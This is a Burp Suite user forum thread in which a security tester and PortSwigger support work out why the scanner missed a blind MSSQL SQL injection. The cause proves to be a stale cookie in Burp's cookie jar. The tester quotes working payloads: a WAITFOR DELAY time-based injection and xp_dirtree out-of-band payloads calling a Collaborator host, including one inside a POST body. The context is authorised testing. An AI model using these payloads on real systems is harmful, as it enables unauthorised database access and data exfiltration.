Research Academy
My account Customers About Blog Careers Legal Contact Resellers

Burp Suite User Forum

Create new post

MSSQL Injection not being detected by scanner.

Gem | Last updated: Jan 17, 2021 05:40PM UTC

Hi PortSwigger Team, The Professional version scanner is not detecting a simple blind SQL injection in Microsoft SQL server. I know in versions 1.7 and 2.0beta this exact scenario was correctly identified several times. I pulled the payloads and information directly from Web Sec Academy: https://portswigger.net/web-security/sql-injection/blind Here are the successful payloads that Burp scanner is missing now for some reason. And I know these exact payloads and SQL injections were previously being correctly identified. Payloads: '; IF (1=1) WAITFOR DELAY '0:0:10'-- Out-of-Band: '; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'-- Results: SQLMap correctly identified the vulnerability 5 out of 5 times. Manual Repeater/Intruder correctly identified the vulnerability 5 out of 5 times. Burp scanner never identified the vulnerability, neither time or OOB. I tried scanner 5 different times with max audit coverage, only selecting SQL attacks, and normal configuration. I was never able to get the Scanner to detect the SQL injection as previously detected. Burp version: 2020.12.1 OS: Debian 10 Origin: Cloud based VPS No host based firewall or filtering is in use. Can you please advise on what may be causing the issue? Thank you.

Michelle, PortSwigger Agent | Last updated: Jan 18, 2021 12:09PM UTC

Thanks for your message. Would you be happy to share some more detailed information with us so we can take a closer look, please? You can share information with us directly via email using suport@portswigger.net. When you perform the scan using 2020.12.1 are the URLs where this issue can be found shown in the list of audited URLs for the scan task? Are the earlier versions of Burp still finding these issues on this particular site? Are you able to share the full requests/responses when this issue has been manually identified?

Benson | Last updated: Jan 18, 2021 06:50PM UTC

Thank you for the prompt response Michelle. I would be happy to share as much detail as I can without breaching the contract with the third party, so a lot of the information will be heavily redacted. When you perform the scan using 2020.12.1 are the URLs where this issue can be found shown in the list of audited URLs for the scan task? Yes, the URL is show in the list of audited URLs for the scan task. Are the earlier versions of Burp still finding these issues on this particular site? I am still testing other versions but so far testing have revealed that the early versions are still detecting the issue. Here is where by testing currently stands: Burp v2020.12.1 - Version did NOT detect the SQL injection. Burp v2.1.03 - Version did NOT detect the SQL injection. Burp v2.0.07beta - Version DID detect the SQL injection. Here is the issue detail from the positive detection: The username parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the username parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present. Are you able to share the full requests/responses when this issue has been manually identified? I can share some of these details. Please allow me some time to redact what is necessary.

Benson | Last updated: Jan 19, 2021 01:01AM UTC

Hi Michelle, After letting Burp v2.0.07beta run a little bit longer, it eventually detected and added the OOB SQL injection via a DNS request to Burp Collaborator. This is unfortunate as Burp Scanner has been unknowingly broken for some time now. Here is the issue detail for the OOB SQL injection detection for Burp v2.0.07beta: The username parameter appears to be vulnerable to SQL injection attacks. The payload ';declare @q varchar(99);set @q='\\redacted.burpcollab'+'orator.net\ghv'; exec master.dbo.xp_dirtree @q;-- was submitted in the username parameter. This payload injects a SQL query that calls SQL Server's xp_dirtree stored procedure with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed. Unfortunately I can't provide too many details of the request/response in order to keep from breaching the contract, however I can provide enough that should suffice in troubleshooting the issue. Here are the request details: This is a simple POST request to a Microsoft-IIS/8.5 server. The headers are the normal/standard headers with most IIS servers. The POST data looks like this WITH the positively identified injection: username=test1'%3bdeclare%20@q%20varchar(99)%3bset%20@q%3d'%5c%5credacted.burpcollab'%2b'orator.net%5cghv'%3b%20exec%20master.dbo.xp_dirtree%20@q%3b--%20&password=test1&passwordforgot=no&ldap=&user=&pwd=&auth=&refurl=https%3A%2F%2Fred.acted.com%2Ftest%2FDefault.asp&submit=Login Hopefully that helps. Any details you can provide about the root cause identification and resolution would be greatly appreciated. As an organization we really rely on Burp Suite for our web application security posture and would like to be assured we aren't missing other CRITICAL vulnerabilities. Thank you for the assistance.

Michelle, PortSwigger Agent | Last updated: Jan 20, 2021 09:46AM UTC

Thanks for the update. Can you run some additional tests for us in the latest version, please? Before starting this test, if you don’t already have it installed could you please install the Logger++ extension as this will allow you to log through the resulting requests sent by the Scanner. To start the test please manually navigate through the login form via Burp Proxy. Once you have manually crawled this, can you then right-click and send this to be scanned (so we are performing an audit-only scan) and let us know if the issue is found. When performing the audit-only scan can you please also change the following settings in the audit configuration: Audit Optimization -> 'Skip checks unlikely to be effective due to the insertion point's base value' -> Disabled Frequently Occurring Insertion Points -> URL parameter values and Body parameter values -> Disabled Once the scan has completed, if the issue is not found, you can check through the logs collected by Logger++ to confirm if a SQL injection request (with the username parameter set to a single quote) is being sent at all during the audit. If you need some assistance putting together a filter to find this, please let me know. If at any stage you have information that you would prefer not to post on the forum but could share directly, please feel free to send it via email (support@portswigger.net)

Gem | Last updated: Jan 20, 2021 05:38PM UTC

Hello Michelle, Thanks for the providing extra test cases. I performed the test with configurations you provided and the test was NOT successful in identifying the SQL injection. With Logger++ enabled, I did identify the Burp Scanner is sending the correct requests to identify the SQL injection. However, I believe I have identified the root cause of the issue and can hopefully help with getting to a resolution. Near the beginning of when the Burp Scanner starts, it for some reason starts appending a single equal sign (=) at the end of the Cookies. I don't believe this is a valid Cookie causing the server to return a 500 error to every Burp Scanner request, meaning most of the Scanner tests/results will be invalid and will not be accurate. Here is what the invalid Cookie looks like in the requests, which causes the server to error on every request: Cookie: ASPSESSIONID=REDACTED; userid=REDACTED; auth=REDACTED; = As you can see, at the end of the Cookies and equal sign (=) is appended. I don't know why this is happening, as I haven't noticed it being set during any MANUAL testing of this instance. Do you know if Burp Scanner should be stripping any invalid Cookies? Secondly, I haven't went through ALL of the Burp Scanner configurations. Do you know if there is a way to have Burp Scanner not modify or ignore any cookies? That may help for this specific instance of testing.

Gem | Last updated: Jan 20, 2021 05:45PM UTC

Too add to this, I used Logger++ to view all responses with the "Set-Cookie" directive in the responses. I cannot find anywhere, where the server may have responded differently that causes Burp Scanner to set or start using the single equal sign (=) as a Cookie. At this point, I'm still unsure of why this behavior is happening.

Michelle, PortSwigger Agent | Last updated: Jan 21, 2021 09:24AM UTC

Thanks for the update. Can I just quickly check, did you have any extensions (apart from Logger++ enabled) when you carried out the scan?

Gem | Last updated: Jan 21, 2021 03:41PM UTC

Yes, the following extensions were installed during the scans: InQL, JSON Web Tokens, Taborator, AutoRepeater, Error Message Checks, Hackvertor, Logger++, HUNT, Param Miner, HTTP Request Smuggler, Turbo Intruder, Backslash Powered Scanner, Active Scan++

Michelle, PortSwigger Agent | Last updated: Jan 21, 2021 03:44PM UTC

Do you see the same behavior with the cookie using a single equal sign if you run the tests with the extensions disabled?

Gem | Last updated: Jan 21, 2021 11:20PM UTC

So more details; Removing the extensions did NOT resolve the issue. However, after more investigating I believe the root cause of the Cookie issue was because of a Cookie getting stored in Burp's Cookie Jar. I manually removed all Cookies relating to the host and the Burp Scanner is now performing as expected and identifying the SQL injection, as previous versions were. That brings up another question from me though. This is a temp project WITHOUT saving ANY options, closing Burp multiple times and using different versions. This means the Cookies are being stored and re-used each time. Do you know if this is expected behavior, or if it should only happen for saved projects?

Michelle, PortSwigger Agent | Last updated: Jan 22, 2021 09:34AM UTC

Thanks for the update. The cookie jar is linked to the project file, so with the way you're launching Burp for your test (a temporary project without any saved options) it should be starting with an empty cookie jar, so it looks like we need to do some more digging here. Just to double-check none of the extensions are having any unusual impact, if you disable the extensions and relaunch Burp does the same cookie still appear? Is the cookie appearing in the cookie jar before the scan is launched?

You must be an existing, logged-in customer to reply to a thread. Please email us for additional support.